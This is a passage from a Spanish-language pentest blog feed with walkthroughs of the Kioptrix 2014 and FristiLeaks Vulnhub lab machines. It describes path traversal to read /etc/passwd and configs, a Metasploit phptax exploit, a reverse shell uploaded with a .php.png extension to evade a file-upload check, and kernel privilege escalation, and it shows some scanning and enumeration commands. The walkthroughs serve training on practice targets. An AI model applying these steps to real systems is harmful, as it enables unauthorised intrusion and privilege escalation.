Se comprueba si la explotación es efectiva:

Y se obtiene el fichero /etc/passwd. Por lo tanto, se dispone de acceso a cualquier fichero ( si los permisos son los correctos) del sistema.

Una de las posibles acciones a realizar a partir de aquí sería empezar a descargar cualquier fichero del sistema, pero si se presta atención, anteriormente se ha detectado que hay un servicio en el puerto 8080 al que no se puede acceder por falta de autorización. Sería interesante saber que hay “allí”.

Siempre que haya acceso al sistema y hayan servicios activos, una de las primeras acciones a realizar es obtener el fichero de configuración de cada uno de estos servicios.

Considerando que se conoce que el sistema es un FreeBSD y el software es Apache otra simple búsqueda en Google proporciona la ubicación del fichero de configuración que se desea.

 

La obtención del fichero se realiza de la siguiente manera:

Dentro del fichero de configuración, se encuentra la “autenticación” necesaria para acceder al puerto 8080:

Y con otra búsqueda en Google (una más) se comprende la directiva “Allow from env”.

En conclusión, para acceder al puerto 8080 es necesario “autenticarse” utilizando el user-agent de “Mozilla4_browser“. En base a la documentación de Mozilla (https://developer.mozilla.org/es/docs/Web/HTTP/Headers/User-Agent) se trata de algo tan simple como:

Se ejecuta el siguiente comando:

El resultado, tal y como se ve, es que se accede al puerto 8080 y se obtiene otra “pista”, en este caso el nombre “phptax

En este momento, la información útil de la que se dispone es:

1- Puerto 80 con el software pChart 2.1.3 vulnerable a path traversal que permite obtener ficheros del sistema

2- Puerto 8080 con el servicio web autorizado y un nombre “phptax”.

3- Con el directory traversal hemos obtenido el listado de usuarios y sabemos que el sistema operativo es FreeBSD release 9.0 

La mejor opción es repetir el proceso seguido con pChart pero ahora con phptax.

Explotación de phptax

Nota: Dado que ya se ha visto con anterioridad el proceso de investigación, para que la lectura sea más ágil únicamente se muestra la información más relevante.

A continuación se listan las preguntas básicas que se han de saber responder:

1- ¿Qué es phptax?

PhpTax is free software to do your U.S. income taxes

2-¿Qué información tenemos de phptax?

a) Tool Dirb

b) Versión de phptax

3- ¿Es vulnerable la versión 0.8?

Sí. Mucho. Con exploit-db y Metasploit.

Con toda esta información, ya se puede a proceder a realizar la explotación con Metasploit de la siguiente forma:

Pam, ya se dispone de una shell en la máquina víctima.

Elevación de privilegios

Una vez ya se está dentro del sistema se ha de volver a iniciar todo el proceso de investigación para determinar qué vector de ataque es el más idóneo para alcanzar root. En esta fase es muy importante el orden e ir de menos a más, de lo más simple a lo más complicado, pues es relativamente sencillo empezar a buscar por todo el sistema la manera “mágica” de obtener root y finalmente, acabar instalado en el caos absoluto.

Information gathering

Para realizar el information gathering se utiliza principalmente la guia “Basic Linux Privilege Escalation”  de g0tmi1k.(https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/).

Las preguntas esenciales que se han de responder son:

1-¿ Qué información sabemos ya?

Se trata de un FreeBSD 9.0 y tenemos un listado de usuarios. Esta versión es del año 2013. Obsoleta.

2-¿Qué sistema operativo es?

uname -mrs / uname -a

FreeBSD 9.0-Release amd64

3- ¿Quien soy?

id

uid=80(www) gid=80….

4- ¿Qué usuarios hay?

ls /home/

cat /etc/passwd | cut -d: -f1

5- Qué lenguajes están soportados?

find / -name perl*

perl -v

perl 5, version 12

find / -name gcc*

gcc -v

gcc version 4.2.1

find / -name python*

/usr/local/bin/python -v

Python 2.7.2

Esta información servirá de guía para poder escoger mejor que exploit utilizar, ya que es recomendable (siempre que sea posible) compilar el exploit en la misma máquina víctima, pero para eso es necesario que el lenguaje esté instalado.

6- ¿Qué comandos están permitidos para establecer comunicaciones al exterior?

Se utiliza el comando which, ya que realizará la búsqueda en base al PATH del usuario. El comando find también puede ser utilizado.

which nc

/usr/bin/nc

which telnet

/usr/bin/telnet

which wget

No hay respuesta.

which ftp

/usr/bin/ftp

which tftp

/usr/bin/tftp

Por lo tanto, si se ha de realizar cualquier transferencia de archivos entre máquinas, los comandos a utilizar han de ser nc o telnet (entre otros), descartando wget.

Análisis de vulnerabilidades

Las primeras vulnerabilidades que se han de probar son:

1- Comprobar el funcionamiento de sudo, y que el password del usuario no sea trivial.

En este caso, se utiliza sudo -l o sudo -V. La respuesta es “Not found”.

2-Si el sistema operativo está desactualizado, ¿Hay exploit de elevación de privilegios?

Muchas veces la búsqueda de exploits de kernel o de sistema operativo para conseguir la elevación de privilegios acaba siendo un infierno, sobretodo si no hay ninguno….o por el contrario, hay muchos. ¿Cuál utilizar?

Bien, el hecho de saber que lenguajes están instalados en la máquina víctima ya ayuda a descartar (o poner en reserva) algunos de los exploits. Y otra buena ayuda es buscar información de esos exploit en Google y probar primero los 3-5 exploits “más populares” considerando el número de referencias. Lamentablemente, esto no es matemático, son solo pequeños trucos para ayudar a priorizar.

Para localizar los exploits que podrían afectar al sistema, hay varias tools:

1- Google

2- searchsploit

3- Tools como Linux Exploit Suggester (https://github.com/PenturaLabs/Linux_Exploit_Suggester)

4- Webs

En este caso, se han obtenido dos exploits:

a) FreeBSD 9.0< 9.1 mmap/ptrace (con 556 resultados en Google)

b) FreeBSD 9.0 – Intel SYSRET Kernel privilege ( con aproximadamente 6420 resultados en Google)

Los dos exploits están escritos en “c” por lo que pueden ser compilados en la máquina víctima. Pero si se ha de priorizar, mejor empezar a probar el FreeBSD 9.0 Intel SYSRET.

Es importante, antes de ejecutar cualquier código, primero leer y comprender a nivel general que hace y que requiere. Muchas veces el exploit correcto no funcionará debido a que hay alguna trampa en el código, o simplemente se hayan de modificar pequeños detalles, como un path, un nombre etc..

Explotación

Recapitulando, aquí está la lista de toda la información básica disponible sobre el sistema víctima y posibilidades de ataque:

1- Es un sistema FreeBSD 9.0, 64 bits, y obsoleto

2- El atacante es el usuario www, sin privilegios

3- No parece que haya usuarios activos (no hay nada en /home) aparte de root

4- Dispone de varios lenguajes de programación instalados, entre ellos, gcc

5-Las comunicaciones con el exterior, se han de realizar con netcat, telnet o ftp

6- Hay dos exploits candidatos

Por lo tanto, está claro que “la fruta más madura” o el vector más propicio, es probar el exploit Intel Sysret, y si no funciona, probar el segundo

Explotación con Intel SYSRET

El procedimiento es el siguiente:

1- Transmisión desde la máquina atacante a la víctima. En esta máquina, hay que tener cuidado con el sentido de la conexión con el comando nc.

a) cp /usr/share/exploitdb/platforms/freebsd/local/28718.c /tmp/kioptrix_priv_intento1.c

b) En la máquina atacante

c) En la máquina víctima

2- Compilación del exploit

3- Ejecución

Et voilà ! Root.

En el caso que no hubiera funcionado este exploit, el procedimiento hubiera sido el siguiente:

1- Probar el segundo exploit

2- Realizar otra vez la fase de information gathering con más detalle, buscando por ejemplo ficheros suid, problemas en el path, revisar los logs de acceso…

3- Definición de nuevos vectores de ataque

4- Si se sigue sin conseguir root, realizar otra vez el paso 2, elevando la intensidad, por ejemplo, procesos que se estén ejecutando, revisar el cron, software instalado etc

La idea es ir de lo más simple a lo más complejo, pero sin olvidar que hay que analizar todo en su conjunto evitando la mirada túnel, porque a lo mejor la solución está en encadenar varias vulnerabilidades.

Disfrutad de la máquina 😉

 

 

 

 

Welcome to FristiLeaks – Walkthrough

$
0
0

Introducción

Siguiendo con la serie de máquinas de Vulnhub que tienen un nivel parecido al laboratorio del OSCP, ahora es el turno de ver cómo se soluciona “FristiLeaks” (https://www.vulnhub.com/entry/fristileaks-13,133/).

En el post anterior “Welcome to kioptrix vm 2014” está explicada la solución de Kioptrix, y también se muestra con más detalle algunas de las prácticas que se utilizan aquí.

Information gathering

Recordamos una de las reglas más importantes a seguir para realizar un pentest: Obtener Información, la información es la clave.

Lo primero es obtener la dirección IP de la máquina objetivo: 192.168.8.140 

Una vez ya se sabe la dirección IP el siguiente paso es realizar una enumeración de puertos e identificación de servicios. Es necesario conocer cómo la máquina se comunica con el exterior, ya que estas comunicaciones serán los potenciales vectores de entrada.

1-Se realiza un scan de los 100 puertos más importantes: nmap  -T4 -Pn -F –open –reason $Ip

Se han obtenido los siguiente resultados:

a) Puerto 80 con un servicio http

2- Obtener más información de los servicios detectados en el paso 1. El comando es: nmap -T4 -Pn -sV -O -p 80, –open –reason $IP 

Se han obtenido los siguiente resultados:

a) Hay un Apache httpd 2.2.15

b) Hay un PHP 5.3.3

c) El sistema operativo es, probablemente, un Linux CentOS 2.6.32-3.10

3- Realizar un scan de todos los puertos. Tal y como se comentó en el post de Kioptrix hay diferentes opciones:

a) Utilizar el script “One-two punch” de superkojiman

b) Escanear todos los puertos TCP con nmap y utilizar el parámetro -A

c) Escanear todos los puertos UDP con la tool “unicorn” o el auxiliary scan UDP de Metasploit

 

Al finalizar todos los scans, se realiza una recopilación de toda la información obtenida para su análisis y definición de los posibles vectores de ataque y su priorización.

En base al análisis de los resultados , los vectores de ataque definidos son:

1- Puerto 80 abierto con un servicio HTTP (web)

2- Software Apache 2.2.15

3- PHP 5.3.8

4- Sistema operativo Linux CentOS 2.6.32 – 3.10

Análisis de vulnerabilidades

En este punto, la atención se va a centrar en cada uno de los vectores descritos intentando obtener información más específica de cada uno de ellos y así determinar las probabilidades de explotación.

A) Puerto 80 con un servicio HTTP (web)

La batería de pruebas que se ha de realizar siempre a un servicio web es la siguiente:

1- Navegar por la web y el fichero robots.txt

2- Análisis de las cabeceras

3- Análisis del código fuente

4- Enumeración de directorios

5- Nikto

Los resultados son los siguientes:

1- La navegación por la web

curl -i -L -s 192.168.8.140

b) El fichero robots.txt:

El fichero robots.txt muestra que hay 3 recursos a considerar:

a) cola

b) sisi

c) beer

Al ver el nombre de estos directorios, es fácil comprobar que los nombres de “cola” y “beer” son bebidas. ¿Pero sisi? ¿No era una emperatriz? Pues resulta que SiSi es el nombre de una especie de “fanta” originaria de Holanda. Esto nos da una idea que los directorios de la aplicación son nombres de bebidas.

c) Si se utiliza otras opciones de curl es posible obtener algo más de información. En este caso no hay información novedosa.

2- Se utiliza la herramienta gobuster para realizar la enumeración de directorios :

No hay resultados que valgan la pena.

3- Con la tool Nikto tampoco se ha obtenido informacion relevante.

B) Software obsoleto

Los pasos a seguir siempre que se trate de software desactualizado son:

1- Identificación de la versión

2- Búsqueda de vulnerabilidades y exploits

3- Analizar si el exploit aplica o no en el escenario y a los objetivos

En esta ocasión se va a proceder a buscar exploits utilizando Google y searchsploit

a) Apache 2.2.15

El único exploit que se ha encontrado no aplica para conseguir acceso a la máquina.

b) PHP 5.3.3

En este caso se puede observar como hay 2 exploits de denegación de servicio y uno con múltiples vulnerabilidades (18370.txt). Las vulnerabilidades detalladas en este fichero tampoco proporcionan un acceso a la máquina.

Resumen del análisis de los vectores de ataque

Una vez se ha realizado un análisis preliminar de los vectores de ataque, vale la pena valorar toda la información en su conjunto.

1- Hay un servicio web en el puerto 80 y disponemos de los siguientes recursos:

a) index.html

b) sisi

c) cola

d) beer

2- No hay exploits útiles del Apache 2.2.15 que nos permita acceder a la máquina

3- No hay exploits útiles de PHP 5.3.3 que nos permita acceder a la máquina

Por lo tanto, el único vector de ataque “factible” es el servicio http en el puerto 80 y se descartan los vectores 2 y 3.

Explotación del servicio HTTP – Puerto 80

Bien, la primera acción es visitar los recursos encontrados. En los 3 casos (sisi, beer y cola) lo que se encuentra es la siguiente imagen:

Parece que no se ha tenido éxito. Se revisa el código fuente y los metadatos de la imagen y el resultado es el mismo: No hay nada. El siguiente paso es visitar la página principal, y se obtiene el siguiente resultado:

¿Cómo? ¿Otra imagen? De nuevo, se analiza el código fuente, los metadatos de la imagen esperando encontrar algo….pero el resultado es que no hay nada. En este punto, existe la tentación de empezar a dar vueltas y más vueltas y acabar probando cosas altamente improbables. La recomendación en estos casos es simple: parar y analizar.

Se ha de analizar todo lo que ya se ha encontrado, los vectores de ataque, repasar que no se haya descuidado algún detalle. Si se ha sido metódico, este proceso es sencillo. Entonces, ¿qué es lo que sabemos y tenemos?

Tenemos que habían 4 vectores de ataque y sabemos que 3 de ellos no eran posibles. Por lo tanto, si o si, el vector del puerto 80 y concretamente en esa imagen ha de haber algo. Uhmmm “Drink Fristi”, antes se ha comentado que el nombre de los directorios eran bebidas. Podría ser una pista, o simplemente una idea feliz chorra.

Gracias a Google se encuentra que Fristi es una bebida de yogur desnatado con frutos rojos original de Holanda. Todo hace indicar que podría ser un directorio “oculto”. Se accede a él y si, por fin, hay un login:

Cuando se ve un login las primeras acciones suelen ser comprobar si hay una SQLi o es vulnerable a brute-force (probando el clásico admin/admin). Recordemos, la información es la clave. Es mejor, antes de nada, analizar el código fuente, intentar identificar si es un CMS, comentarios etc…en resumen, “conocer” el asset.

En este caso, en el código fuente se encuentra la siguiente información:

En un comentario hay escrita una pequeña anotación con lo que parece ser el nombre de un usuario: eezeepz.

Además, más abajo, en otro comentario hay lo que parece ser código en base64 (es fácil de identificar por su estructura o utilizando el Decoder de Burp):

Para decodificar este código es posible utilizar varios mecanismos.

a) Desde consola, copiando el código a un fichero y utilizando comandos:

Y la imagen que se obtiene es:

b) Utilizando Burp, la consola de Firefox, modificando en local el archivo .html…

En ambos casos se obtiene la misma imagen. Ya se dispone de un nombre de usuario (eezeepz) y un password (keKkeKKeKKeKkEkkEk). Prego! login exitoso!

En la zona autenticada se encuentra un “file upload”. En este caso, la acción a realizar es intenta subir una webshell/reverse shell al servidor y así tener acceso al mismo. Con todos los datos recopilados es automático saber que la webshell ha de estar en código php. En el primer intento de subir un archivo .php, se produce un fallo porque la extensión no es la correcta:

Creación y acceso con una webshell

Hay múltiples opciones de crear una webshell en php. Desde las que ya incorpora Kali, o la php-reverse-shell de pentestmonkey (link) hasta la creación con msfvenom. Para esta ocasión, se muestra la creación de dos shells diferentes:

a) Con Meterpreter:

b) Sin meterpreter, únicamente una reverse shell:

Las 2 opciones son válidas. Hay que detallar que dado que la funcionalidad del “File Upload” indica que la extensión ha de ser de un tipo en concreto, el nombre de las shells creadas finalizan con *.php.png

Con el objetivo de ver más comandos y funciones de Metasploit se ha preferido utilizar la shell simple (opción b, reverse shell sin meterpreter) y mostrar cómo es posible, una vez ejecutada la shell, hacer un update de la misma a meterpreter. En Google es muy fácil encontrar información sobre qué ventajas conlleva esta técnica.

1- Así pues, se procede a subir la reverse shell esperando que únicamente con el truco de indicar una extensión autorizada (.png) sea posible evadir el mini check de seguridad (siempre que se pueda, lo primero a probar son las cosas más simples).

2- Perfecto, el upload ha sido un éxito. El siguiente paso es configurar el handler:

3- Ahora, se ha de acceder al archivo y que se ejecute correctamente:

4- Una vez ya se ha establecido la conexión, se realiza el update a Meterpreter:

5- Ya se dispone de una sesión en Fristileaks. 🙂

Elevación de privilegios

Una vez ya se está dentro del sistema se ha de volver a iniciar todo el proceso de investigación para determinar qué vector de ataque es el más idóneo para alcanzar root. En esta fase es muy importante el orden e ir de menos a más, de lo más simple a lo más complicado.

Information gathering

Una vez dentro del sistema se ha de recopilar el máximo posible de información con el objetivo de poder responder a la mayoría de estas preguntas (siempre priorizando):

1- ¿Qué información sabemos ya?

2- ¿Qué sistema operativo es?

3- Si es obsoleto, ¿Tiene vulnerabilidades conocidas y hay exploits públicos?

4- ¿Quién soy?

5- ¿Qué usuarios hay?

6- ¿Qué se puede encontrar en /home?

7- ¿Se puede ejecutar el comando sudo?¿Cómo está configurado?

8- ¿Hay algún history disponible?

9-  ¿Hay algún SetUID o SetGID?

10- ¿Cómo está configurado el PATH?

11- ¿Qué lenguajes están soportados?

12- ¿Qué comandos están permitidos para establecer comunicaciones al exterior?

13- ¿Qué interfaces de red tiene?

14- Si hay una aplicación web con un login ¿Hay algún fichero de configuración/conexión con credenciales a la base de datos?

15- ¿Qué procesos están corriendo en la máquina?¿Alguno como root?

16- ¿Hay algo en el Cron?

17- ¿Hay información útil en los logs de máquina?

18- ¿Qué ficheros/directorios puedo leer/escribir?

Mediante el análisis de las respuestas se podrán empezar a pensar y diseñar los vectores de ataques (ordenados de más simple a más complejos) con más posibilidades para realizar la escalada de privilegios.

En el caso concreto de Fristileaks, se muestra alguna de la información obtenida más relevante:

a) ¿Quién soy? ¿Qué kernel es? (y spawn con python):

– Usuario Apache

– Kernel 2.6.32

b) Sistema operativo: CentOS release 6.7

c) ¿Qué usuarios hay, además de root?

– eezeepz

– admin

– fristigod

– fristi

d) Fichero de conexión a la BD, con credenciales:

Lamentablemente, estas credenciales no funcionan para cambiar de usuario en Fristi.

e) Home de cada user:

admin:

eezeepz:

En el Home de eezeepz hay lo que parece ser un listado de comandos y un fichero “notes.txt“. Interesante

d) Además, analizando el contenido de la carpeta /var se encontró otro fichero “notes.txt”:

Es otro detalle más que hace sospechar que en el homedir del usuario eezeepz pueda haber algo interesante. Además, se obtiene el nombre (jerry) del que podría ser el usuario admin.

Análisis de vulnerabilidades

Las primeras vulnerabilidades que se han de probar son:

1- Comprobar el funcionamiento de sudo, y que el password del usuario no sea trivial.

No funciona

2- Que el usuario “root” no tenga como password…”root”

No funciona

3- Si el sistema operativo está desactualizado, ¿Hay exploit directo de elevación de privilegios?.

Este podría ser una opción: Linux Kernel 2.6.32 < 3.x.x (CentOS) – ‘PERF_EVENTS’ Privilege Escalation (1)

Sin embargo, las referencias continuas al homedir del usuario “eezeepz” se hacen merecedoras de ser estudiadas. Además, si bien esto es un juego, en el mundo real un usuario que codifica su password en base 64….hace pinta de ser un pelín desastre. Seguro que algo interesante hay.

Explotación

El contenido del fichero “notes.txt” del homedir del usuario eezeepz es el siguiente:

 Vaya con Jerry….tampoco es un genio no. Visto lo visto, vale la pena seguir por este vector.

Explotación del Runthis

El procedimiento es el siguiente:

1- Conseguir acceder a la homedir del usuario admin

2- Dentro de esta home se hallan ficheros que contienen lo que parecen ser credenciales cifradas así como el script responsable del cifrado:

3- Se busca algo de información sobre la función “codecs.encode” para ver cómo se puede hacer el proceso reversible y obtener los datos en claro:

4- Se realiza un script cutre para proceder al descifrado:

5- Se accede al usuario fristigod con las credenciales obtenidas:

6- Bien, pero el usuario “fristigod” no es lo mismo que root. Tal y como se ha comentado varias veces, de nuevo, la información es esencial. En este punto, es necesario conocer todo lo posible acerca de este usuario, como su “history”:

O la configuración de “sudo”:

Con esta información en la mano, está claro que el usuario “fristigod” realiza acciones con el usuario “fristi” e interaccionando con el fichero “doCOM” . Algo más de información sobre este fichero se puede obtener con el comando “file”:

7-  Solo resta por hacer una prueba más y esperar los resultados:

8- Et voilà ! Root y acceso al flag.

Disfrutad de la máquina 😉

 

 

 

 

Viewing all 34 articles
Browse latest View live